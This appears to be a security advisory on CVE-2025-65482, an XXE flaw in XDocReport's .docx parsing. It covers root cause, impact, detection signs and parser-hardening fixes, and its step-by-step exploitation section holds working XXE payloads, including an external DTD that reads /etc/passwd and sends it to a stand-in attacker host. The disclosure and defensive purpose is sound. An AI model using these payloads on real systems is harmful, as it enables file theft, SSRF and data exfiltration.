CVE-2025-65482: 
Java vulnerability analysis and mitigation

CVE-2025-65482 is an XML External Entity (XXE) injection vulnerability in opensagres XDocReport versions 0.9.2 through 2.0.3 that allows unauthenticated attackers to execute arbitrary code by uploading a crafted .docx file. The vulnerability was assigned on January 20, 2026, with CISA-ADP providing a CVSS v3.1 base score of 9.8 (Critical) (Red Hat Advisory, GitHub PoC). XDocReport is a widely used Java API for merging XML documents (docx, odt) with data models to generate reports (XDocReport Repo).

The root cause (CWE-611: Improper Restriction of XML External Entity Reference) lies in XDocReport's use of Apache POI to parse .docx files via Java's default SAXParser, which does not disable DTD processing or external entity resolution (GitHub PoC). The attack chain is: XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → javax.xml.parsers.SAXParser without the disallow-doctype-decl or external-general-entities features disabled. An attacker crafts a .docx file by injecting a malicious DOCTYPE declaration with an external entity (SYSTEM "http://attacker.com/" or file:///...) into word/document.xml; when the server processes the file, the parser resolves the entity, enabling SSRF, local file read, or out-of-band data exfiltration. A public PoC and detailed write-up are available (GitHub PoC).

Successful exploitation allows an attacker to read arbitrary files from the server's filesystem (e.g., /etc/passwd, application credentials), perform server-side request forgery (SSRF) to probe internal network services, and exfiltrate sensitive data out-of-band. The CVSS score reflects full confidentiality, integrity, and availability impact, meaning exploitation could lead to complete system compromise in scenarios where the XXE chain is escalated to remote code execution (GitHub PoC, Red Hat Advisory). Any application that accepts .docx uploads and processes them with XDocReport ≤ 2.0.3 is at risk, including HR management systems, document generation platforms, and reporting services.

1. Reconnaissance: Identify web applications that accept .docx file uploads and use XDocReport (versions 0.9.2–2.0.3) for document processing. Look for HR portals, reporting tools, or document generation services.
2. Prepare the malicious docx: Unzip a legitimate .docx file (unzip template.docx) and open word/document.xml for editing.
3. Inject XXE payload (basic SSRF/OOB): Add a malicious DOCTYPE declaration at the top of word/document.xml:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker-collaborator.com/">]>

Then reference &xxe; somewhere in the document body. 4. Escalate to file read (out-of-band exfiltration): Host a malicious DTD file (evil.dtd) on an attacker-controlled server:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

Modify word/document.xml to load the external DTD:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>

5. Repack and upload: Repack the modified files into a .docx archive (zip -r poc.docx *) and upload it to the target application's file upload endpoint.
6. Collect results: Monitor the attacker-controlled server (e.g., Burp Collaborator) for incoming HTTP requests containing exfiltrated file contents or confirming SSRF connectivity (GitHub PoC).

• Network: Unexpected outbound HTTP/HTTPS requests from the application server to external or internal IP addresses originating from the Java process during .docx file processing; DNS lookups to unknown external domains triggered by document upload events.
• File System: Presence of .docx files with DOCTYPE declarations or external entity references in word/document.xml within uploaded document storage directories.
• Logs: Application server logs showing file upload requests followed immediately by outbound connections to unusual hosts; Java exception stack traces referencing SAXParser, EntityManager, or resolveEntityAsPerStax in application logs.
• Process: Java application process (java) spawning unexpected network connections or child processes during document processing operations (GitHub PoC).

The fix is available via a patch commit to the XDocReport repository that disables DTD processing and external entity resolution in the SAXParser (XDocReport Repo). Organizations should upgrade to a patched version of XDocReport beyond 2.0.3 as soon as it is released. As an immediate workaround, configure the SAXParser to disable dangerous features by setting http://apache.org/xml/features/disallow-doctype-decl to true, and http://xml.org/sax/features/external-general-entities and http://xml.org/sax/features/external-parameter-entities to false (GitHub PoC). Additionally, restrict file upload endpoints to trusted users where possible and implement network egress filtering to block unexpected outbound connections from application servers.

The vulnerability was covered by The Hacker Wire, which published a technical article titled "XDocReport XXE to RCE via Docx Upload" (The Hacker Wire). The CVE was also noted on Mastodon and Bluesky security community feeds shortly after disclosure. Red Hat tracked the vulnerability in their security advisory system, indicating potential downstream impact on Red Hat products that bundle XDocReport (Red Hat Advisory).